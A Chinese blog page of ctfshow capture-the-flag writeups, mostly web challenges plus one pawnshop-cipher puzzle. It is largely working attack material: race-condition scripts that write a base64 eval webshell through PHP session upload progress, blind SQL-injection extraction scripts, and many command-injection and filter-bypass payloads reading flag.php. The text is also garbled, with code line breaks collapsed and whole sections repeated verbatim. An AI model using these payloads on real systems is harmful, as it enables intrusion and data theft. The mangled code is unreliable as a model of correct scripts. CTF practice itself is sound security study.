web

签到观己WEB_AK赛

源码:

<?phpif(isset($_GET['file'])){$file = $_GET['file'];if(preg_match('/php/i', $file)){die('error');}else{include($file);}}else{highlight_file(__FILE__);
}?>

直接包含上传进度就行

import requests
import threading
import sysurl='http://9c79b02a-820a-4299-a63a-5d47251a2108.chall.ctf.show/'
r=requests.session()
headers={"Cookie":'PHPSESSID=mb'
}
def POST():files={"upload":''                                                   #上传无效的空文件}data={"PHP_SESSION_UPLOAD_PROGRESS":'<?php echo "moonback";file_put_contents("/tmp/mb", base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs="));?>'     #恶意进度信息，readfile将直接输出文件内容}r.post(url,files=files,headers=headers,data=data)def READ():# event.wait()while True:POST()t=r.get("http://9c79b02a-820a-4299-a63a-5d47251a2108.chall.ctf.show/?file=/tmp/sess_mb")if 'moonback' in t.text:print('[+] success')breakfor i in range(50):threading.Thread(target=READ,args=()).start()

或者包含日志:

/etc/nginx/nginx.conf
/var/log/nginx/access.log
/var/log/nginx/error.log

先包含日志配置文件查看log文件位置，只需在user-agent中加入一句话就行

web8

过滤了union,and ’

过滤空格可以用/**/，过滤if用case when 1=1 then 1 else 0 end，过滤逗号用from 1 for 1截取

payload:

import requests
s=requests.session()
url='http://f145c667-993c-4ce6-bcd6-04ce626648c1.chall.ctf.show/index.php'
table=""for i in range(1,45):print(i)for j in range(31,128):#爆表名  flag#payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))#爆字段名 flag#payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))#读取flagpayload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))ra = s.get(url=url + '?id=0/**/or/**/' + payload).textif 'I asked nothing' in ra:table += chr(j)print(table)break

payload2:

import requestsurl="http://9f999441-8cb2-4663-9f55-195bbfafe615.chall.ctf.show/index.php?id="
flag=''
for i in range(1,50):f1=flagtop=127low=33while low<=top:mid=(top+low)//2p1="(case/**/when/**/(ascii(substr((select/**/flag/**/from/**/web8.flag)/**/from/**/{}/**/for/**/1))>{})/**/then/**/1/**/else/**/0/**/end)".format(str(i),str(mid))p2="(case/**/when/**/(ascii(substr((select/**/flag/**/from/**/web8.flag)/**/from/**/{}/**/for/**/1))={})/**/then/**/1/**/else/**/0/**/end)".format(str(i),str(mid))try:r1=requests.get(url+p2)print(i,mid)if 'pitch-and-toss,' in r1.text:flag+=chr(mid)print(flag)breakr=requests.get(url+p1)if 'pitch-and-toss,' in r.text:low=mid+1else:top=mid-1except Exception as e:passif flag==f1:break

web9

访问/robots.txt看到index.phps，源码：

<?php$flag="";$password=$_POST['password'];if(strlen($password)>10){die("password error");}$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";$result=mysqli_query($con,$sql);if(mysqli_num_rows($result)>0){while($row=mysqli_fetch_assoc($result)){echo "登陆成功<br>";echo $flag;}}?>

"select * from `admin` where password='".md5($pass,true)."'"

md5()函数有两个参数

参数一是要加密的字符串；

参数二是输出格式：为true时，表示输出原始16字符二进制格式；
默认为false，表示输出32字符十六进制数。

看到提示第一时间想到注入,可是如何闭合sql语句呢？如果找到一个字符串MD5加密后得到的原始二进制格式在SQL中拼接成类似 ‘or’xxx的形式就可以绕过了

将ffifdyop提交flag就出来了

payload:

password=ffifdyop

web入门

web1

查看源码得flag

web11

提示域名也可以隐藏信息，立马想到了txt记录

网站http://doma.pucha.net/

web21

给的有子典，抓包，发现经过了一层base64加密，没事，burpsuite可以解决

web23

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 11:43:51
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/
error_reporting(0);include('flag.php');
if(isset($_GET['token'])){$token = md5($_GET['token']);if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){echo $flag;}}
}else{highlight_file(__FILE__);}
?>

爆破，可以知道，第2位，第15位，第18位是一样的，并且为数字，第32位为3，exp:

import hashlib
for i in range(1,100000000000):str1 = hashlib.md5(str(i).encode()).hexdigest()if str1[1]==str1[14] and str1[14]==str1[17] and str1[31].isdigit() and str1[31]=='3':print(i,str1)break#422 f85454e8279be180185cac7d243c5eb3

web24

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 13:26:39
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 13:53:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){$r = $_GET['r'];mt_srand(372619038);if(intval($r)===intval(mt_rand())){echo $flag;}
}else{highlight_file(__FILE__);echo system('cat /proc/version');
}?>

伪随机数，版本是php7

<?php
mt_srand(372619038);
echo mt_rand();
// 1155388967

web25

https://www.openwall.com/php_mt_seed/

https://www.cnblogs.com/zaqzzz/p/9997855.html

**mt_scrand(seed)这个函数的意思，是通过分发seed种子，然后种子有了后，靠mt_rand()**生成随机

数。

在之前自己还以为需要暴力破解cookie,最后师傅们给我介绍了一个脚本，专门用来跑mt_srand()种子和

mt_rand()随机数的

这里自己解释一下为什么每一次的mt_rand()+mt_rand()不是第一次的随机数相加？？

因为生成的随机数可以说是一个线性变换（实际上非常复杂）的每一次的确定的但是每一次是不一样的，所以不能

进行第一次*2就得到mt_rand()+mt_rand()

使用说只要我们得到种子就可以在本地进行获得自己想要的值

解题：通过随机数来寻找种子

我们让 ?r=0 得到随机数。这里我得到的是 183607393 每一次不一样(因为flflag值在变化)

然后下载 php_mt_seed4.0 我们在linux下面使用 gcc进行编译

gcc php_mt_seed.c -o php_mt_seed

之后运行脚本添加随机数 ./php_mt_seed 183607393

这个函数的意思，是通过分发seed种子，然后种子有了后，靠mt_rand()生成随机数。

在之前自己还以为需要暴力破解cookie,最后师傅们给我介绍了一个脚本，专门用来跑mt_srand()

web26

爆破密码

web28

import requests
from threading import Thread
import sys
url = "http://0e24c613-7424-4b0d-b534-416143e2f97e.chall.ctf.show"
def scan(i,j):try:r= requests.get(url + "/{}/{}/".format(i,j))print(i,j)if "flag{" in r.text:print(r.text)sys.exit()except Exception as e:passfor i in range(1,101):for j in range(10,25):scan(i,j)

web29

过滤了flag

payload:

?c=system('cat `ls`');
?c=system('cat *');

web30

 <?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

payload:

?c=$a='sys'.'tem';$a('cat *');  #拼接命令绕过system限制

web31

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

payload:

?c=$a=str_replace("a","","sysatem");$a("head%09-n%09100%09*");

web32

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

payload:

?c=include"$_GET[1]"?>&1=php://filter/convert.base64-encode/resource=flag.php

web33

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

payload:

?c=include/**/$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web34

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

payload:

?c=include/**/$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web35

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

payload:

?c=include/**/$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web36

 <?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

payload:

?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web37

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);
}

payload:

c=php://inputpost  <?php system('cat *');

import requests
import threadingurl='http://b440e730-82ed-40ce-a359-947492fc8c6d.chall.ctf.show/'
r=requests.session()
headers={"Cookie":'PHPSESSID=network'
}
def POST():files={"upload":''                                                   #上传无效的空文件}data={"PHP_SESSION_UPLOAD_PROGRESS":'<?php echo "network";file_put_contents("/tmp/network", base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs="));?>'     #恶意进度信息，readfile将直接输出文件内容}r.post(url,files=files,headers=headers,data=data)def READ():# event.wait()while True:POST()t=r.get("http://b440e730-82ed-40ce-a359-947492fc8c6d.chall.ctf.show/?c=/tmp/sess_network")if 'network' in t.text:print('[+] success')breakfor i in range(50):threading.Thread(target=READ,args=()).start()

web38

 <?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*///flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|php|file/i", $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);
}

payload:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgKicpOw==

web39

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c.".php");}}else{highlight_file(__FILE__);
}

同样可以用data伪协议

?c=data://text/plain,<?php system('cat *');?>
?c=data:text/plain,<?php system('cat *')?>

web40

<?php
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\（|\）|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

这个ban的是中文的括号。。。。php无参数函数：https://www.m00nback.xyz/2019/11/12/php-nopara-rce

payload:

?c=readfile(array_rand(array_flip(scandir(current(localeconv())))));

web41

web42

<?php
if(isset($_GET['c'])){$c=$_GET['c'];system($c." >/dev/null 2>&1");
}else{highlight_file(__FILE__);
}

#注释就行

?c=cat * %23
?c=cat flag.php%0A

web43

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

payload:

?c=head -n 100 * %23
?c=ca\t flag.php%0A

web44

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/;|cat|flag/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

payload:

?c=ca\t `ls`%23
?c=head -n 100 * %23

web45

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| /i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

payload:

?c=head%09-n%09100%09*%09%23

web46

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

payload:

?c=tac%09fla?.???%09%23
?c=ca\t%09%60ls%60%09%23

web47

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

?c=tac%09fla?.???%09%23
?c=ca\t%09%60ls%60%09%23

web48

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

payload:

?c=tac%09fla?.???%09%23

web49

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

payload:

?c=tac%09????.???%09%23

web50

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

payload:

?c=ca''t<>fl''ag.php%0a%23

web51

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

payload:

?c=ca''t<>fl''ag.php%0a%23

web52

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

payload:

?c=ca''t${IFS}/fl''ag%0a%23

web53

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){echo($c);$d = system($c);echo "<br>".$d;}else{echo 'no';}
}else{highlight_file(__FILE__);
}

payload:

?c=ca''t${IFS}fl''ag.php%0a%23

web54

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}

通配符绕过，payload:

?c=/bin/ca?${IFS}f???.php%0a%23

web55

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}

exp:

import requests
import threadingurl1='http://0a73a501-052c-43c7-b811-01cd759d416a.chall.ctf.show/?c=.+/???/????????[@-[]'
url='http://0a73a501-052c-43c7-b811-01cd759d416a.chall.ctf.show/'def post():files={'upload':'#!/bin/sh\necho 1433223\ncat flag.php'}r=requests.post(url,files=files)
def req():r=requests.get(url1)if '1433223' in r.text:print(r.text)for i in range(50):threading.Thread(target=post,args=()).start()threading.Thread(target=req,args=()).start()

web56

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}

exp:

import requests
import threadingurl1='http://a01f036c-e70d-4fa8-8a4b-53a9064ab650.chall.ctf.show/?c=.+/???/????????[@-[]'
url='http://a01f036c-e70d-4fa8-8a4b-53a9064ab650.chall.ctf.show/'def post():files={'upload':'#!/bin/sh\necho 1433223\ncat flag.php'}r=requests.post(url,files=files)
def req():r=requests.get(url1)if '1433223' in r.text:print(r.text)for i in range(50):threading.Thread(target=post,args=()).start()threading.Thread(target=req,args=()).start()

web57

<?php
//flag in 36.php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){system("cat ".$c.".php");}
}else{highlight_file(__FILE__);
}

自己测得下面的payload在bash里可以，在system函数不行：

$((((_++)),$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_))$[((_++)),$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_]

正确的payload:

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

记下大概思路：

$(())   ==> 0
$((~$(())))   ==> -1
$(($((~$(())))$((~$(())))))  ==> -2
$((~-37))   ==> 36

web58

<?php// 你们在炫技吗？
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}

payload:

c=readfile('flag.php');

web59

CPYPTO

萌新_密码5

由田中由田井羊夫由田人由中人羊羊由由王由田中由由大由田工由由由由由羊由中大

当铺密码:

脚本:

#标准当铺密码加密解密， 空格分割
code= "由田中 由田井 羊夫 由田人 由中人 羊羊 由由王 由田中 由由大 由田工 由由由 由由羊 由中大".decode('utf-8')
split = ""
def encode(s):S = s.decode('utf-8')buff = ""if len(s) > 0:for c in s:str1 = str(ord(c))for st in str1:buff += code[int(st)]buff += splitreturn buffdef decode(s):s = s.decode( 'utf-8')buff = ""temp = ""if len(s) > 0:stringList = s.split(split)for s1 in stringList:for s2 in s1:index = code.find(s2)if index>-1:temp += str(index)buff += chr(int(temp))temp = ''return buff

$(())   ==> 0
$((~$(())))   ==> -1
$(($((~$(())))$((~$(())))))  ==> -2
$((~-37))   ==> 36

web58

<?php// 你们在炫技吗？
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}

payload:

c=readfile('flag.php');

web59

CPYPTO

萌新_密码5

由田中由田井羊夫由田人由中人羊羊由由王由田中由由大由田工由由由由由羊由中大

当铺密码:

脚本:

#标准当铺密码加密解密， 空格分割
code= "由田中 由田井 羊夫 由田人 由中人 羊羊 由由王 由田中 由由大 由田工 由由由 由由羊 由中大".decode('utf-8')
split = ""
def encode(s):S = s.decode('utf-8')buff = ""if len(s) > 0:for c in s:str1 = str(ord(c))for st in str1:buff += code[int(st)]buff += splitreturn buffdef decode(s):s = s.decode( 'utf-8')buff = ""temp = ""if len(s) > 0:stringList = s.split(split)for s1 in stringList:for s2 in s1:index = code.find(s2)if index>-1:temp += str(index)buff += chr(int(temp))temp = ''return buff

ctfshow部分writeup相关推荐

ctfshow 千字文 writeup
ctfshow 萌新赛 misc writeup 千字文 stegsovle打开发现有一个通道长这样导出该通道图片首先把白边切掉 #cut.py from PIL import Image img ...
ctfshow萌新红包题writeup
ctfshow萌新专属红包题writeup 题目来源:https://ctf.show/ 这一题是ctfshow平台上面2月17日更新的一个萌新红包题,当天在官方交流群内知道晚上会有一个萌新红包题之后 ...
ctfshow七夕杯 writeup
文章目录杂项签到你会lsb吗海盗的密码密码签到社工签到迷失的大象大飞机杂项签到 flag在最底部你会lsb吗从后往前看是504b0304,需要将内容给反转一下 with open( ...
ctfshow 月饼杯(第二届) 部分WriteUp
Misc 杂项签到右键附件,从链接另存文件.然后用16进制编辑器或者你想用notepad也彳亍看文件尾,有一串base64,解码即可. ctfshow{we1come_to_mooncake_cap ...
CTFSHOW新手杯MISC部分WriteUp
引文之前复现了CTFSHOW新人杯的WEB方向部分题目,今天就复现一下MISC为主的题目,可能有些读者不太明白MISC方向是什么意思,简单来说就是"杂项",包括:隐写,压缩包处理 ...
ctfshow baby杯六一快乐部分MISC WriteUp
baby baby babyLSB 首解:zsteg+reverse+猜测然后猜了个LSB ctfshow{WeiShenMeBuYaoLSB} 预期: 因为用stegsolve的时候g通道发现有内 ...
ctfshow 吃瓜杯八月赛 Misc WriteUp
目录 1.Misc游戏签到 2.吃瓜 3.EZbingo 4.魔王 5.Dinner of Cyanogen 6.Music Game 7.一群强盗 1.Misc游戏签到别问问就是玩游戏套神说的 ...
ctfshow CMS系列writeup（web477-web479）
0x01 Web 477 打开页面发现是CmsEasy建站系统,题目提示RCE,百度寻找对应相关漏洞,多方查找后发现版本是v5.7,找到对应版本后进行搜索就变得很简单了. 找登录后台,/admin进入 ...
ctfshow吃瓜杯八月群赛 WriteUp/WP
Web: shellme 题目问题,没什么说的,进去直接搜ctfshow就是flag 热身签到题,做过web入门的都应该知道怎么绕,分开来看比如第一个部分可以用小数绕过,第二部分没有字母,可以用8 ...

ctfshow部分writeup

web

签到观己WEB_AK赛

web8

web9

web入门

web1

web11

web21

web23

web24

web25

web26

web28

web29

web30

web31

web32

web33

web34

web35

web36

web37

web38

web39

web40

web41

web42

web43

web44

web45

web46

web47

web48

web49

web50

web51

web52

web53

web54

web55

web56

web57

web58

web59

CPYPTO

萌新_密码5

web58

web59

CPYPTO

萌新_密码5

ctfshow部分writeup相关推荐

最新文章

热门文章